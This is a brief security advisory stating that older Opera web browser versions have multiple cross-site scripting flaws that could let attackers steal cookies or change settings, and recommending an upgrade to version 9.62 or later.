Cross-Site Scripting Vulnerabilities in Opera Web Browser

The Opera Web Browser is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, change the browser's settings, and launch other attacks.

Mitigation:

Upgrade to Opera Web Browser 9.62 or later.
